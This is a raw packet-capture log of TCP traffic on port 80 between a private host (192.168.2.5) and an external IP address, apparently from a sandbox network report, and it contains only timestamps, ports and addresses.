Dec 26, 2024 12:05:12.892045021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.892924070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.892968893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.893059969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.893110991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.893948078 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.893995047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.894074917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.894119024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.894980907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.895028114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.895073891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.895119905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.896028042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.896079063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.896122932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.896166086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.897034883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.897079945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.897217989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.897279024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.898036957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.898085117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.898125887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.898171902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.899075031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.899137020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.899182081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.899231911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.900203943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.900266886 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.900279999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.900331974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.901102066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.901158094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.901187897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.901246071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.902132988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.902195930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.902225018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.902271986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.903146029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.903223038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.903253078 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.903302908 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.904143095 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.904206991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.904298067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.904351950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.905221939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.905288935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.905333042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.905383110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.906219959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.906295061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.906357050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.906408072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.907263994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.907335997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.907367945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.907416105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.908269882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.908329964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.908370972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.908416986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.909307957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.909365892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.909399033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.909446001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.910346031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.910398960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.910438061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.910484076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.911366940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.911420107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.911499977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.911545992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.912532091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.912585020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.912641048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.912687063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.913410902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.913463116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.913561106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.913609028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.914448977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.914498091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.914546967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.914588928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.915501118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.915565014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.915604115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.915652990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.916472912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.916564941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.916568041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.916610956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.917496920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.917548895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.917587042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.917629957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.918512106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.918564081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.918637037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.918685913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.919569969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.919604063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.919627905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.919642925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.920598030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.920650959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.920814991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.920857906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.921601057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.921649933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.921722889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.921768904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.922631979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.922682047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.922759056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.922804117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.923628092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.923681021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.923758030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.923804998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.924662113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.924734116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.924777031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.924829006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.925672054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.925729990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.925772905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.925820112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.926789045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.926845074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.926876068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.926928997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.927733898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.927786112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.927819014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.927870989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.928769112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.928822994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.928879023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.928921938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.929791927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.929856062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.929910898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.929960012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.930807114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.930871010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.930943966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.930989981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.931843996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.931895018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.931941032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.931982994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.932852030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.932908058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.932991028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.933032036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.933902979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.933950901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.934003115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.934045076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.934942007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.934994936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.935059071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.935100079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.936042070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.936091900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.936127901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.936167955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.937077999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.937120914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.035480022 CET	80	49712	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.035556078 CET	49712	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.035599947 CET	49712	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.035828114 CET	80	49712	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.035882950 CET	49712	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.093774080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.093844891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.093847990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.093883991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.094557047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.094609022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.095197916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.095242977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.097244024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.097256899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.097268105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.097280025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.097287893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.097318888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.097592115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.097635984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.097750902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.097796917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.098742962 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.098756075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.098784924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.098807096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.100836992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.100851059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.100863934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.100877047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.100882053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.100909948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.100938082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.101417065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.101504087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.101619959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.101694107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.102777004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.102792978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.102843046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.103497028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.103535891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.103543997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.103574038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.104541063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.104583025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.104619980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.104660988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.105525017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.105577946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.105607986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.105652094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.106590986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.106637001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.106651068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.106694937 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.107589006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.107634068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.107687950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.107733011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.108640909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.108691931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.108732939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.108777046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.109755039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.109802008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.109875917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.109920979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.110636950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.110703945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.110769987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.110840082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.111664057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.111716986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.111787081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.111828089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.113133907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.113174915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.113203049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.113241911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.113956928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.113977909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.114001989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.114016056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.114749908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.114795923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.114872932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.114923954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.115833044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.115880966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.115895987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.115935087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.116776943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.116825104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.116894007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.116936922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.117814064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.117861032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.117898941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.117943048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.118905067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.118917942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.118957996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.119894981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.119947910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.119992018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.120047092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.121042013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.121092081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.121186972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.121233940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.121973991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.122015953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.122112989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.122153997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.123001099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.123047113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.123119116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.123161077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.123954058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.123999119 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.124067068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.124106884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.124998093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.125083923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.125096083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.125169992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.126025915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.126068115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.126137018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.126176119 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.127088070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.127150059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.127151012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.127193928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.128094912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.128145933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.128207922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.128246069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.129075050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.129117012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.129158020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.129199028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.130131006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.130177021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.130213022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.130255938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.131134987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.131200075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.131298065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.131344080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.132160902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.132203102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.132287979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.132330894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.133186102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.133239031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.133327007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.133380890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.134218931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.134274006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.134311914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.134356976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.135276079 CET	80	49708	185.81.68.147	192.168.2.5
